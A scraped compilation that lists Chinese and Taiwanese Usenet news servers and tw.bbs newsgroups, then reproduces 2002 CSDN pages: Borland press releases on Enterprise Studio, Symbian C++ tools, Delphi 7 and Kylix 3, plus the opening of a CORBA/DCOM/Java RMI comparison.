广东顺德 news://news.sd.gnet.gd.cn广东南海 news://news.nanhai.net.cn
武汉电信 news://news.wh.hb.cn info.wh.hb.cn东方网景 news://news.east.cn.net
哈尔滨 news://news.hr.hl.cn瀛海威 news://space.sheny.ihw.com.cn
中国CEI news://news.cei.gov.cnCEI软件 news://news.freesoft.cei.gov.cn
中国之路新闻组 news.chinaroad.cn.net中网公司新闻组 news.netchina.com.cn
中经网自由软件新闻组 news.freesoft.cei.gov.cn湛江视聆听通新闻组 202.96.140.52/news.html
西安电信新闻组 news.xa.sn.cn info.xa.sn.cn微软新闻组 msnews.microsoft.com
上海凯丽新闻组 www.kali.online.sh.cn上海电信新闻组 news.sta.net.cn凯利新闻组 202.96.217.57
广州月影新闻组 202.96.130.197广州网易新闻组 news.nease.net广州嘉星新闻组 202.96.130.196
广西梧州新闻组 news.wzptt.gx.cn广发证券新闻组 news.gf.com.cn广东深圳新闻组 newsgroup.szptt.net.cn
广东潮州新闻组 172.21.80.88福州八闽新闻组 news.bm.fz.fj.cn成都电信新闻组 info.cd.sc.cn
常州电信新闻组 new.clinux.ml.org北京电信新闻组 news.bta.net.cn虹志新闻组 news.hongzhi.com.cn
浙江省中心 news.zj.cninfo.net广东湛江新闻组 202.96.151.219武汉劲捷新闻组 202.103.25.253
昆明世博会新闻组 web.expo99km.gov.cn沈阳电信新闻组 news.sy.ln.cn info.sy.ln.cn
上海环境新闻组 news.envir.com.cn义乌169新闻组 news.yw.zj.cninfo.net东方网景新闻组 news.east.cn.net
山东新闻新闻组 news.sd.cninfo.net.cn江苏新闻新闻组 news.jsinfo.net中国CERNET新闻组 news.xmu.edu.cn
ChinaNet新闻组 info.sta.net.cn湖北武汉新闻组 news.wuhan.net cninfo.wh.hb.cn
武汉白云黄鹤新闻组 s1000e.whnet.edu.cn大陆服务器新闻组 159.226.60.60 news.redhat.sic.gov.cn
北京大学新闻组 news.pku.edu.cn华南理工大学新闻组 news.gznet.edu.cn华中理工大学新闻组 news.whnet.edu.cn
上海交通大学新闻组 news.shnet.edu.cn电子科技大学新闻组 news.nesti.edu.cn
西安交通大学新闻组 news.xanet.edu.cn香港服务器新闻组 news.school.net.hk news.hkschool.net
taurus.hkstar.com台湾服务器新闻组 voyager.iii.org.tw 202.102.3.150alab03.ee.nctu.edu.tw
news.cis.nctu.edu.tw news.iie.ncku.edu.twaidebbs.edu.twnews.fcu.edu.tw
台湾PC Home新闻组 202.77.203.62台湾 Retina新闻组 ns2.retina.ar台大计中新闻组 bunny.ntu.edu.tw
中央计中新闻组 news.ncu.edu.tw交大计中新闻组 ccnews.nctu.edu.tw交大资工新闻组 news.csie.nctu.edu.tw
中兴计中新闻组 news.nchu.edu.tw成大计中新闻组 dec8.ncku.edu.tw中山计中新闻组 news.nsysu.edu.tw
花莲师院新闻组 news.nhltc.edu.tw中央研究院新闻组 news.sinica.edu.tw资策会新闻组 aladdin.iii.org.tw
数据所新闻组 netnews.hinet.netMicrosoft新闻组 news nsnews.microsoft.com
国际服务器新闻组 129.69.1.13Geocities新闻组 news.geocities.com台湾网路新闻讨论区 tw.*
tw.bbs.admin tw.bbs.* 的管理及发展的事务tw.bbs.admin.installbbs 　 BBS安装过程讨论区
tw.bbs.aiesec 经济商管会tw.bbs.alumni 校友联谊tw.bbs.alumni.chengkung 成功中学校友会
tw.bbs.alumni.chien-kuo-hs 沙漠驼客tw.bbs.alumni.chingmei 景美女中校友会
tw.bbs.alumni.chungli 中坜高中校友会tw.bbs.alumni.cy 大专青年联谊会tw.bbs.alumni.hchs 新竹高中校友会
tw.bbs.alumni.hsntnu 　国立台湾师大附中校友会tw.bbs.alumni.kavalan 兰友会版
tw.bbs.alumni.keeshs 翠岗烟雨 -- 基中基女的讨论天地tw.bbs.alumni.kshs 松涛轩客--高雄中学校友讨论区
tw.bbs.alumni.skshs 兴国中学校友讨论区tw.bbs.alumni.stdm 道明中学tw.bbs.alumni.sungshan 松山高中
tw.bbs.alumni.tfg 北一女中校友会tw.bbs.alumni.tfhs 　 竹园游子--台南一中校友讨论区
tw.bbs.alumni.tfshs 台中一中校友版tw.bbs.alumni.tssh-ccgsh 台南二中及家齐女中校友版
tw.bbs.alumni.viator 　 传说中的古堡--卫道中学tw.bbs.alumni.wuling 武陵高中校友会
tw.bbs.answers 常见问题解答汇整 [Moderated]tw.bbs.announce TANet BBS 重要公告 [Moderated]
tw.bbs.campus 校际资讯交流tw.bbs.campus.activity 活动预告与报导
tw.bbs.campus.advancededu 深造, 留学及各种进修管道交流tw.bbs.campus.education 教育 -- 百年大计
tw.bbs.campus.fju 　 辅大校园讨论区tw.bbs.campus.graduate 研究生活
tw.bbs.campus.job 各行各业(打工与职业)tw.bbs.campus.ltc 岭东商专tw.bbs.campus.nccu 政大校园讨论区
tw.bbs.campus.nchu 中兴大学校园论坛tw.bbs.campus.ncku 成功大学校园资讯tw.bbs.campus.nctu 交大校园讨论区
tw.bbs.campus.ncu 中央大学校园资讯tw.bbs.campus.nthu 清大校园讨论区tw.bbs.campus.ntu 台大校园讨论区
tw.bbs.campus.pu 静宜大学校版tw.bbs.campus.tit 台北技术学院校园讨论区
tw.bbs.comp.386bsd 386BSD/NetBSD/BSDI 技术交流tw.bbs.comp.cad CAD 电脑辅助设计
tw.bbs.comp.chinese 中文资讯标准及技术tw.bbs.comp.database 资料库设计与应用
tw.bbs.comp.dos DOS 讨论区tw.bbs.comp.graphics 电脑图学与虚拟实境tw.bbs.comp.hacker 软体破解技术讨论
tw.bbs.comp.hardware 硬体安装、使用tw.bbs.comp.hardware.cdrom 计算机硬体: CD-ROM
tw.bbs.comp.hardware.comm 计算机硬体: 电脑通讯硬体讨论
tw.bbs.comp.hardware.cpu 计算机硬体: CPU (& FPU)
tw.bbs.comp.hardware.misc 计算机硬体: 其他电脑硬体话题
tw.bbs.comp.hardware.network 计算机硬体: 电脑网路硬体讨论
tw.bbs.comp.hardware.storage 计算机硬体: 储存装置
tw.bbs.comp.hardware.systems 计算机硬体: 一般电脑硬体讨论tw.bbs.comp.irc IRC 频道 -- 空中网路交流
tw.bbs.comp.lang.fortran 　FORTRAN 使用者园地tw.bbs.comp.lang.java Java 讨论区
tw.bbs.comp.language 电脑语言、程式讨论tw.bbs.comp.linux Linux 技术交流
tw.bbs.comp.mac 　 麦金塔讨论区tw.bbs.comp.midi 　 MIDI 讨论tw.bbs.comp.modem 数据机的通讯世界
tw.bbs.comp.mswindows MS Windows 视窗系统tw.bbs.comp.mswindows.nt MS Windows NT 讨论区
tw.bbs.comp.mswindows.win95 Win95 讨论区tw.bbs.comp.multimedia 　 多媒体新趋势
tw.bbs.comp.network 　 网路技术交流tw.bbs.comp.novell Novell 　 技术交流
tw.bbs.comp.oop 物件导向程式撰写讨论tw.bbs.comp.os.nextstep 　 NextSTEP 讨论区
tw.bbs.comp.os2 　 OS/2 技术交流tw.bbs.comp.security 系统与程式保全心得交流
tw.bbs.comp.shareware 　 公用软体资讯交流tw.bbs.comp.software 　 软体安装、使用
tw.bbs.comp.sources 　 分享您的程式tw.bbs.comp.tex 　 TeX/LaTeX/CTeX 使用
tw.bbs.comp.unix Unix 技术交流tw.bbs.comp.virus 　 电脑杀手 -- 电脑界的大敌
tw.bbs.comp.winsock 　 Winsock讨论区tw.bbs.comp.www 　 全球资讯网(WWW) 讨论区
tw.bbs.comp.xwindow X-Windows 技术交流tw.bbs.config TANet BBS 设定
tw.bbs.csbbs Client/Server BBStw.bbs.csbbs.pbbs 　 PowerBBS 讨论区
tw.bbs.edu.computer-science 　 电脑人的辛酸与苦水tw.bbs.edu.normal 　 师范教育资讯交流及讨论
tw.bbs.forsale 　 跳蚤市场tw.bbs.forsale.computer 电脑设备跳蚤市场tw.bbs.forsale.house 房地产资讯
tw.bbs.general 一般事项tw.bbs.help 新手求助tw.bbs.lang.chinese 中文教室
tw.bbs.lang.english 英文教室tw.bbs.lang.japanese 　 日文讨论区tw.bbs.lang.spanish 　 热情拉丁族
tw.bbs.lists TANet BBS 相关统计及列表tw.bbs.literal.article 　 短篇文章
tw.bbs.literal.asciiart 　 ASCII code 图案tw.bbs.literal.book 好书介绍·读书心得
tw.bbs.literal.emprisenovel 武侠小说tw.bbs.literal.lyrics 歌歌词词
tw.bbs.literal.mystery 推理文学tw.bbs.literal.poem 诗词歌赋tw.bbs.literal.story 小说故事创作发表
tw.bbs.music.chinese 　 国乐版tw.bbs.music.classica 古典音乐讨论区
tw.bbs.music.heavy_metal 重金属 俱乐部tw.bbs.music.japan 日本流行音乐
tw.bbs.music.pop 流行音乐讨论区tw.bbs.music.rocknroll 摇滚音乐讨论区
tw.bbs.netnews Usenet News应用及技术面讨论tw.bbs.newgroups 新信区讨论tw.bbs.org.cie 中工会
tw.bbs.rec.art 人文艺术 -- 真善美的追求tw.bbs.rec.audiophile 音响论坛
tw.bbs.rec.beautysalon 美容保养讨论区tw.bbs.rec.bicycle 单车运动讨论区tw.bbs.rec.bridge 桥牌征战心得
tw.bbs.rec.car 爱车族的天堂tw.bbs.rec.chess 棋艺交流区tw.bbs.rec.comic 漫画·动画·卡通·模型
tw.bbs.rec.cuteness 可爱之窝tw.bbs.rec.dance 舞蹈天地tw.bbs.rec.drama 戏剧 戏曲
tw.bbs.rec.entertainment 休闲娱乐tw.bbs.rec.flower 花卉园艺·花语
tw.bbs.rec.foodstuff 天下美味 尽在其中tw.bbs.rec.guitar 吉他讨论区tw.bbs.rec.harmonica 口琴讨论区
tw.bbs.rec.instrument 　 乐器演奏tw.bbs.rec.japan-idol 　 偶像□宅急便
tw.bbs.rec.marvel 　 鬼话连篇tw.bbs.rec.mj 中国国粹 -- 麻将tw.bbs.rec.model 　 模型艺术
tw.bbs.rec.motorcycle 风火轮tw.bbs.rec.movie 电影世界tw.bbs.rec.mud 网路地下城文字冒险游戏
tw.bbs.rec.palmardrama 掌中乾坤－布袋戏tw.bbs.rec.pcgame 电脑游戏tw.bbs.rec.pet 宠物—我的宝贝
tw.bbs.rec.photo 摄影技术tw.bbs.rec.radio 广播, 无线电讨论区tw.bbs.rec.radio.amateur 业馀无线电交流
tw.bbs.rec.rail 铁道研究讨论区tw.bbs.rec.scouting 一日童军·一世童军
tw.bbs.rec.sport-cards 球员卡收藏心得交换区tw.bbs.rec.stamp 集邮、集卡、各类搜藏
tw.bbs.rec.startrek 人类的终极边疆tw.bbs.rec.tea 品茗香tw.bbs.rec.travel 海天游踪
tw.bbs.rec.tv 电视影集·卫视·录影带tw.bbs.rec.tv.x-files Ｘ档案讨论区tw.bbs.rec.video 影音视听
tw.bbs.rec.videogame 电视游乐器交流园地tw.bbs.rec.weapon 尖端武器技术交流tw.bbs.rec.wine 醇情时刻·调酒
tw.bbs.sci.astrology 命理·星座·性格tw.bbs.sci.astronomy 天文知识tw.bbs.sci.biology 生物
tw.bbs.sci.chemistry 化学tw.bbs.sci.destiny-prediction 命理精微
tw.bbs.sci.economics 经济学讨论区tw.bbs.sci.electronics 电子电机tw.bbs.sci.entomology 昆虫学版
tw.bbs.sci.finance 投资理财实务tw.bbs.sci.first_aid 救护小站tw.bbs.sci.history 历史园地
tw.bbs.sci.law 法律讨论区tw.bbs.sci.math 数学tw.bbs.sci.mba 经贸大势放眼天下
tw.bbs.sci.mechanics 力学tw.bbs.sci.medicine 医疗保健tw.bbs.sci.philosophy 哲学讨论区
tw.bbs.sci.physics 物理tw.bbs.sci.psychology 　 心理学tw.bbs.sci.sex 健康的性
tw.bbs.soc.birds 飞羽苍穹tw.bbs.soc.changhua 半线之恋tw.bbs.soc.charity 慈善事业动态
tw.bbs.soc.chiayi 才子嘉人讨论区tw.bbs.soc.consumers 消费者园地tw.bbs.soc.feminism 女性主义讨论区
tw.bbs.soc.green-earth 环保与生态tw.bbs.soc.hakka 客家文化讨论区tw.bbs.soc.handicapped 残友心声
tw.bbs.soc.hsinchu 新竹风土民情与地方文化tw.bbs.soc.hualien 洄澜风情
tw.bbs.soc.i-lan 兰阳风土民情与地方文化tw.bbs.soc.japan 日本风土文化街tw.bbs.soc.kaohsiung 高雄
tw.bbs.soc.keelung 雨都情怀 -- 属於基隆的讨论天地tw.bbs.soc.malaysia 大马学术言论版
tw.bbs.soc.media 媒介, 文化与社会tw.bbs.soc.motss 同性之爱 -- 同性恋讨论区
tw.bbs.soc.overseas 天涯游子 / 游子乡tw.bbs.soc.pingtung 椰林风情tw.bbs.soc.politics 政治讨论区
tw.bbs.soc.politics.dpp 民主进步党讨论区tw.bbs.soc.politics.kmt 国民党讨论区
tw.bbs.soc.politics.np 新党讨论区tw.bbs.soc.religion 宗教与心灵世界
tw.bbs.soc.religion.buddhism 生活佛教tw.bbs.soc.socialwelfare 社会公益--关怀弱势团体
tw.bbs.soc.society 社会版(公共议题讨论) (Moderated)tw.bbs.soc.tai-tung 砂城记事--台东
tw.bbs.soc.taichung 台中tw.bbs.soc.tainan 赤??风情tw.bbs.soc.taipei 台北杂絮
tw.bbs.soc.taiwanese 台湾文化讨论区tw.bbs.soc.taoyuan 　 世外桃源 taoyuan
tw.bbs.soc.tayal 原住民文化讨论园地tw.bbs.soc.transport 台湾交通
tw.bbs.soc.tzuchi 慈济大专青年联谊会 Tsuchitw.bbs.sports 各类运动
tw.bbs.sports.basebal 　 职棒动物园tw.bbs.sports.baseball.bears 职棒兴农牛俱乐部
tw.bbs.sports.baseball.dragons 职棒味全龙俱乐部tw.bbs.sports.baseball.eagles 职棒时报鹰俱乐部
tw.bbs.sports.baseball.elephants 职棒兄弟象俱乐部tw.bbs.sports.baseball.lions 　 职棒统一狮俱乐部
tw.bbs.sports.baseball.tigers 　 职棒叁商虎俱乐部tw.bbs.sports.basketball 　 篮球世界
tw.bbs.sports.fishing 钓鱼讨论区tw.bbs.sports.kongfu 气功、拳术等传统养生健身之道
tw.bbs.sports.mountain 山 -- 世界之脊tw.bbs.sports.soccer 足球天地
tw.bbs.sports.swimming 浪里白涛任我行tw.bbs.sports.tennis 网球tw.bbs.sports.volleyball 排球
tw.bbs.talk 谈天说地·话古道今tw.bbs.talk.boy-girl 男孩与女生tw.bbs.talk.feeling 感性时间·心情故事
tw.bbs.talk.friends 人生何处不相逢tw.bbs.talk.joke 笑话·脑筋急转弯tw.bbs.talk.ladytalk 小女子的私房话
tw.bbs.talk.love 爱与恋·感情世界的探讨tw.bbs.talk.mentalk 男子汉的心声
tw.bbs.talk.newscast 各类活动实况转播tw.bbs.talk.notepad 酸甜苦辣留言版tw.bbs.test 测试专用区
tw.bbs.udnie 联合资讯教育pubnews.netcom.net.uk141.47.70.14148.202.3.46
dp-news.maxwell.syr.edu 128.230.129.221gail.ripco.comlinux.net.cn
mail.chin.ac.cnmsnews.microsoft.comnews.bentium.comnews.chinacode.net
news.clinux.cz.js.cnnews.cn99.com 202.102.3.142news.cnnb.net 宁波
news.cyber-x.orgnews.cyberway.com.sgnews.dayoo.com （广东大洋网202.104.56.3）
news.freesoft.cei.gov.cnnews.giga.net.twnews.kingsoft.netnews.nuri.net
news.nwlink.comnews.randori.comnews.sauder.comnews.singaren.net.sgnews.smu.edu
news.smu.edunews.verio.netnews.verio.net
news.webking.com.cn 北京211.100.7.107 济南202.102.170.164news2.kornet.net
news://141.47.70.14/news://gail.ripco.com/news://msnews.microsoft.com/
news://news.bentium.net/news://news.chinacode.netnews://news.clinux.cz.js.cn/
news://news.cn99.com/news://news.cnnb.net/news://news.dayoo.com/
news://news.kingsoft.net/news://news.webking.com.cn/ 202.102.170.164
news://newsroom.cqu.edu.au/newsmaster1.prod.itd.earthlink.netnewsroom.cqu.edu.au


CSDN_文档中心_2002-01-08 Borland宣布Borland Enterprise Studio for Windows ，统一软件的设计，开发和部署

2002-01-08

Borland宣布Borland® Enterprise Studio for Windows®，统一软件的设计，开发和部署

全部套件包括Borland® Delphi™ 6 和 Rational Rose®，这种整合将加快产品的上市时间，降低成本，并保持设计的完整性

SCOTTS VALLEY, Calif. –2002年1月8日-Borland软件公司（Nasdaq NM： BORL）今天宣布了Borland® Enterprise Studio for Windows®，这是一个整合了几种功能强大的业界领先产品的新套件。该套件是为那些需要一个具有强劲的UML™建模开发能力和一个安全可靠的部署平台的企业设计的，它为Windows平台提供了从设计到部署的一整套完整的解决方案。

该套件整合了来自业界领先者的第一流的产品，形成一个完整的模型驱动结构(MDA™)的开发环境，目标是降低总拥有成本，加速产品的上市时间，同时在整个开发过程中保持设计的完整性。MDA是一个框架，它能让应用迅速响应来自商业和来自技术的改变，它能让应用在采用新技术或新的商业规则时转变得更快。

该套件捆绑了 Borland® Delphi™ 6， Rational Rose® 和来自BoldSoft的 Bold® for Delphi™ ，从而提供了第一流的设计和建模能力。它还包括了一个Borland® Enterprise Server Web版的开发许可，同时也可以选择是否捆绑Macromedia® Dreamweaver® UltraDev™4。通过使用该套件，便可以流水线地地设计，开发和部署先进的企业应用。这些应用在其整个生命周期都是易于管理和易于维护的。

“Borland Enterprise Studio for Windows和BoldSoft系统开发软件已经10倍地增强了我们的应用开发效率，显著地降低了成本，从根本上提高了议会文档管理系统的健壮性和稳定性。”瑞典议会的高级项目经理Lars Hellstrom说。

“随着Borland Enterprise Studio for Windows的发布，Borland从一个单一的供应商转而开始第一次为Windows平台上的开发和部署提供一个大范围的功能支持，”Borland副总裁兼RAD解决方案部总经理。“这个套件能让软件开发公司响应开发周期的加速，同时通过提供可发布到安全可靠的Web服务器上的选择，降低在今天的因特网环境中开发的风险”

Borland Enterprise Studio for Windows :

  • Borland Delphi 6 Enterprise - Borland Delphi 6，是第一个支持新近浮现的Web服务标准的Windows平台快速开发工具。通过它，无论是团体还是个人都可以快速轻松地创建出复杂的电子商务应用程序来。Delphi 6将全面支持Web服务标准XML， SOAP,，XSL 和 WSDL，使应用能立即与Web服务平台如微软的.Net™ 和 BizTalk™，SUN的ONE等进行整合。

  • Borland Enterprise Server, Web Edition - Borland Enterprise Server, Web Edition, 是一个完整的可伸缩的健壮的Web应用部署平台。Web版基于Apache™技术，整合了Borland Web Server，通过Delphi技术，使它成为了一个用Studio设计的Web应用和服务的理想部署平台。Borland Enterprise Server是建立在市场上使用最广泛的CORBA®解决方案VisiBroker®的基础之上。

  • Rational Rose Professional Data Modeler Edition - Rational Rose，是业界领先的开发建模工具，它连接了建模环境与开发环境，使用标准的UML来为商业过程和应用逻辑建模。Rational Rose Professional Data Modeler Edition使得数据库设计者，商业分析者和开发者可以都用一种公共的语言，象一个团队一样工作。

  • Rational Unified Process® - The Rational Unified Process (RUP®) 是一个可以利用Web的软件工程过程，它通过为团队提供关键开发活动方面的广泛指引、模版和例子，来提高团队的生产力。

  • Bold for Delphi - Bold for Delphi 交付了一个功能强大的模型驱动结构（MDA）的商业对象框架，它把Rational Rose 中的UML建模环境连接到了Delphi的应用程序设计环境中。

  • Macromedia Dreamweaver UltraDev™ 4 (available as an optional component) - Dreamweaver UltraDev 4 是一个用作专业Web开发的可定制的可视化开发环境。它通过代码友好的特性和一个平行的代码与设计的分割面版视图加速了开发速度。这两个视图中其中任何一个的改变都会马上引起另外一个视图同时改变并表现出来。使用UltraDev，开发者能够快速地进行设计变更，整合商业对象，通过Macromedia Flash™创建菜单和按钮。

价格与购买

Borland Enterprise Studio for Windows期望在本月晚些时候可以购买到，有两个版本，Borland Enterprise Studio for Windows和Borland Enterprise Studio for Windows with Macromedia Dreamweaver UltraDev 4。Delphi 6企业版用户将会获得一个特别的升级价格。每个版本更多的信息和特性可以通过 http://www.borland.com/estudio/ 得到。

关于Borland
Borland软件公司是全球领先的技术提供商，其技术主要用于开发、分发和集成软件应用。Borland公司提供的优秀技术解决方案专门针对互操作性而设计，各种规模的企业都可以借此成功迈入基于Web的网络计算时代，同时提升现有系统的应用价值。从《财富》1,000强企业到由上百万开发人员组成的"Borland一族"(Borland Nation)，Borland公司都使其客户能够自由地开发应用程序，将应用分发到任何地方，并在整个企业内对这些应用进行集成和管理。Borland解决方案能够帮助企业提高效率，并在降低用户总成本的情况下，使客户更快速经济地完成更高性能的项目。

Borland公司成立于1983年，总部设在美国加州的Scotts Valley，业务遍及全球。更多信息请访问Borland公司网站 http://www.borland.com 及社区网站 http://community.borland.com。

www.delphidevelopers.com


CSDN_文档中心_2002-05-27 Borland 预览基于Symbian操作系统用于开发2.5G/3G移动应用的C++技术

Borland 预览基于Symbian操作系统用于开发2.5G/3G移动应用的C++技术

摘要：Borland今天预览了它最新的C++技术，这种技术支持诸如智能电话，通信装置，以及语音PDA等移动设备上的软件开发

Borland Previews C++ Technologies for 2.5G/3G Mobile Applications on the Symbian™ Operating System

Synopsis: Borland today previewed its emerging C++ technology that supports software development for mobile devices such as smartphones, communicators, and voice-enabled PDAs.

  • Borland extends leadership in wireless, providing developers the freedom to build mobile applications with C++ and Java™. With its earlier release of Borland® JBuilder™ MobileSet, - and this emerging C++ technology, Borland will broaden its wireless initiative and enable developers to rapidly develop mobile applications in Java and C++ languages.
  • Borland and Symbian continue innovation in enabling 2.5G/3G mobile devices and applications through C++ support for Symbian™ OS, the most widely licensed operating system among manufacturers of next-generation mobile phones.
  • First public preview of this technology at BorCon™ 2002, the 13th Annual Borland Conference on May 20, 2002 in Anaheim.

BORCON, Anaheim, CA - May 20, 2002 : Borland Software Corporation (Nasdaq NM: BORL) announced today that it will preview its emerging C++ technology for the development of mobile applications for 2.5G and 3G mobile phones and voice-enabled Personal Digital Assistants (PDAs) that run on the Symbian™ operating system (OS) at BorCon™ 2002, the 13th annual Borland® conference on May 20, 2002. To support innovation through the emerging wireless market, an early release is currently planned to be available during the second half of 2002.

Building on the release of Borland® JBuilder™ MobileSet 2.0 in January 2001, the preview of the Borland C++ technology will extend Borland's support of enhanced mobile application development. As currently planned, the Borland C++ solution will enable developers to rapidly produce C++ applications that run on the Symbian OS, an operating system for advanced, data-enabled mobile phones. As currently planned the solution will also support the development of C++ applications for Nokia's Series 60 platform, which runs on the Symbian OS.

"We welcome Borland's support for C++ and Java," said Jouko Häyrynen, vice president of Nokia's global developer program, Forum Nokia. "The market for advanced, data-enabled mobile handsets is growing quickly, and Borland's C++ technology for mobile devices will enable millions of developers to bring new applications to market and capitalize on this great opportunity. "

"2002 will be an exciting year for mobile devices - they are finally becoming powerful enough to run the interactive multimedia applications that users expect," said Jessica Figueras, e-infrastructure analyst at Ovum. "This year, nearly 165 million devices capable of running these sorts of applications will ship worldwide. But this means nothing without the tools to create the applications in the first place."

"Borland's reputation for rapid application development tools, and its existing developer community, align well with Symbian's desire to see effective and quick exploitation of the power of Symbian OS mobile phones as application platforms in 2.5G and 3G wireless environments." said Mark Edwards, executive vice president of sales and marketing at Symbian. "We are pleased to forge a relationship with Borland supporting our licensees' requirements."

"Symbian OS has been adopted by leading mobile phone manufacturers and our support of this platform underscores Borland's intent to provide developers with every opportunity to build advanced mobile applications," said Simon Thornhill, vice president and general manager of rapid application development solutions for Borland. "With the addition of the C++ solution to Borland's JBuilder MobileSet, developers will have the freedom to build mobile applications with either C++ or Java."

About Symbian
Symbian is a software licensing company, owned by wireless industry leaders, that is the trusted supplier of the advanced, open, standard operating system for data-enabled mobile phones. Symbian’s mission is to create a mass-market for Symbian OS mobile phones by enabling its licensees to build winning products. Symbian's website can be found at www.symbian.com.

About Borland
Borland Software Corporation is a leading provider of technology used to develop, deploy and integrate software applications. Delivering best-in-class technology solutions dedicated to interoperability, Borland allows enterprises of all sizes to move into Web based computing while leveraging legacy systems. From the Fortune 1000 to the Borland comprised of millions of developers around the world, Borland provides customers the freedom to develop applications, deploy them anywhere, and integrate and manage them across the enterprise. Borland solutions enable organizations to increase productivity and deliver higher performance projects faster and on budget, while lowering total cost of ownership.

Founded in 1983, Borland is headquartered in Scotts Valley, California with operations worldwide. To learn more, visit Borland at http://www.borland.com, the community site at http://community.borland.com, or call Borland at (800) 632-2864.


CSDN_文档中心_2002-08-06 Borland发布Delphi 7 Studio，支持Microsoft .NET

2002-08-06

Borland发布首个支持Microsoft .NET的中立软件开发套件Delphi 7 Studio™

原文 ，Bear译

加州斯科兹谷，2002年8月6日：Borland®软件公司(Nasdaq NM: BORL)今天宣布Borland Delphi 7 Studio™ ，该套件完全支持新近出现的Web服务标准，并且整合了模型驱动的开发方式。Borland还展示了该套件支持Microsoft .NET®框架的能力。利用Delphi 7 Studio，大约有一百万的Delphi开发者能够开始发展他们为.NET开发的技巧以及准备.NET应用，这些都不必抛弃他们现在在Windows®平台上的工作和技巧。

"很少有新的操作系统能在一夜之间就把应用开发和部署技术都更新换代，这意味着开发者和用户将一起度过一个持续几年的过渡期。IDC认为.NET框架是Windows平台的一次自然发展而不是一场革命。" IDC研究主管Al Gillen说，"这样，软件开发者就需要一个转向.NET的规范的开发移植过程。"

经由Delphi 7 Studio™ 的发布，Borland成为第一个交付针对.NET的中立开发工具的公司。Delphi 7 Studio是一个针对Windows平台上的跨平台快速开发（RAD）环境。Delphi 7 Studio™ 的一个显著特性是企业开发和部署。通过新的UML?设计器和模型驱动的架构(MDA)技术，它允许开发者利用企业应用开发方法，更快地把概念变成产品。

"Borland继续为企业提供了迈向未来而不必抛弃过去的投资的方式，" Borland的副总裁和总经理Simon Thornhill说，"Delphi 7 Studio让企业能够使用开发者们已经熟悉的技术和资源，在他们的时间表上开始一个迈向.Net的平滑转移。另外，Delphi 7 Studio的高质量的应用生命周期解决方案，如建模，模型驱动的架构，报表，以及跨平台开发创造了新的令人激动的Delphi应用开发机会。这也让Delphi创新的应用开发舞台不断继续下去。"

Borland Delphi 7 Studio新特性：

· 企业应用的MDA开发 -通过让开发者从设计到部署都复用一个应用，加速开发进程，同时显著减少代码量和需要的开发时间；
· 可视化的快速Web开发 -让开发者能够在Delphi 7 Studio环境中可视化地创建Web应用，并且利用它的应用模型框架，不必再考虑通用的服务器端的开发任务，还能透明地处理会话管理；
· 内建的对Linux®的跨平台支持 - Delphi 7 Studio在出售时将附带Delphi语言版本的Kylix™ 3。Kylix? 3是第一个Linux操作系统上的高性能的可视化整合开发环境（IDE），它适合用来快速创建数据库应用，GUI应用，Web应用和Web服务应用；
· 企业级的报表能力 -让开发者能创建跨平台的报表，这些报表能帮助察看应用程序运行的效率；
· 免费的DataSnap™ 多层应用开发（以前叫MIDAS） -新的Delphi 7 Studio DataSnap授权协议允许开发者无缝地升级单层和客户/服务器应用到多层应用，而无需额外的运行时使用费；
· Windows XP®应用 - Delphi 7 Studio包含了对Windows XP风格支持，让开发者能够创建可以利用Windows XP®使用者界面风格的应用。

关于价格和上市时间

Borland Delphi 7 Studio将在2002年夏季开始出售，它有四个版本：架构版，企业版，专业版，和个人版。一个完整的Delphi语言版本的Borland Kylix?3将同Delphi 7 Studio架构版，企业版和专业版一同发售。Delphi 7 Studio架构版售价$3,499，Delphi 7 Studio企业版售价$2,999，Delphi 7 Studio专业版售价$999，Delphi 7 Studio个人版售价$99。请检查地方站点看看Delphi 7 Studio有没有价格优惠。另外，一个30天的Delphi 7 Studio架构使用版可以从http://www.borland.com/downloads/下载。

关于Borland Delphi 7 Studio

Delphi 7 Studio是一个完整的从设计到部署，模型驱动的架构(MDA)解决方案，它整合了基于Windows的商业和电子商务解决方案的建模，开发和部署。通过扩展Delphi6电子商务和Web服务框架，Delphi 7 Studio为增加开发者的生产力交付了完全整合的技术。Delphi 7 Studio提供了一个.NET移植工具包，让开发者能够为转向Microsoft .NET做好准备。通过包含的Kylix 3 for Delphi，开发者也能够将他们的应用跨平台带到Linux操作系统上，以增加投资回报。通过整合先进的开发应用程序到一个易于使用的开发包中，Delphi 7 Studio简化了产品的开发生命周期并且加速了将产品推向市场的时间。更多的信息，请访问http://www.borland.com/delphi/。

关于Borland

Borland软件公司是全球领先的技术提供商，其技术主要用于开发、分发和集成软件应用。Borland公司提供的优秀技术解决方案专门针对互操作性而设计，各种规模的企业都可以借此成功迈入基于Web的网络计算时代，同时提升现有系统的应用价值。从《财富》1,000强企业到由上百万开发人员组成的"Borland一族"(Borland Nation)，Borland公司都使其客户能够自由地开发应用程序，将应用分发到任何地方，并在整个企业内对这些应用进行集成和管理。Borland解决方案能够帮助企业提高效率，并在降低用户总成本的情况下，使客户更快速经济地完成更高性能的项目。 Borland公司成立于1983年，总部设在美国加州的Scotts Valley，业务遍及全球。更多信息请访问Borland公司网站 http://www.borland.com 及社区网站 http://community.borland.com。

www.delphidevelopers.com


CSDN_文档中心_2002-08-22 Kylix3 Open Edition可以下载了

2002-08-22

Kylix3 Open Edition可以下载了
Anders Ohlsson

摘要：它有300多MB，但非常值

在可以下载Kylix3开放版的同时，这里给出5个为什么要得到它的前5 个理由：

  • 你将具有选择C/C++还是Delphi语言的自由
  • 更快地开发Linux 开放源代码的GPL应用程序
  • 可视化地开发高性能的Linux GUI应用程序
  • 利用功能强大的工具进行功能强大的开发
  • 利用基于FreeCLX组件的开发把解决方案更快地推向市场

Download Kylix 3 Open Edition now!

Add or View comments on this article

www.delphidevelopers.com


CSDN_文档中心_A Detailed Comparison of CORBA, DCOM and Java/RMI

A Detailed Comparison of CORBA, DCOM and Java/RMI

(with specific code examples)

Gopalan Suresh Raj

Introduction

Distributed object computing extends an object-oriented programming system by allowing objects to be distributed across a heterogeneous network, so that each of these distributed object components interoperate as a unified whole. These objects may be distributed on different computers throughout a network, living within their own address space outside of an application, and yet appear as though they were local to an application.

Three of the most popular distributed object paradigms are Microsoft's Distributed Component Object Model (DCOM), OMG's Common Object Request Broker Architecture (CORBA) and JavaSoft's Java/Remote Method Invocation (Java/RMI). In this article, let us examine the differences between these three models from a programmer's standpoint and an architectural standpoint. At the end of this article, you will be able to better appreciate the merits and innards of each of the distributed object paradigms.

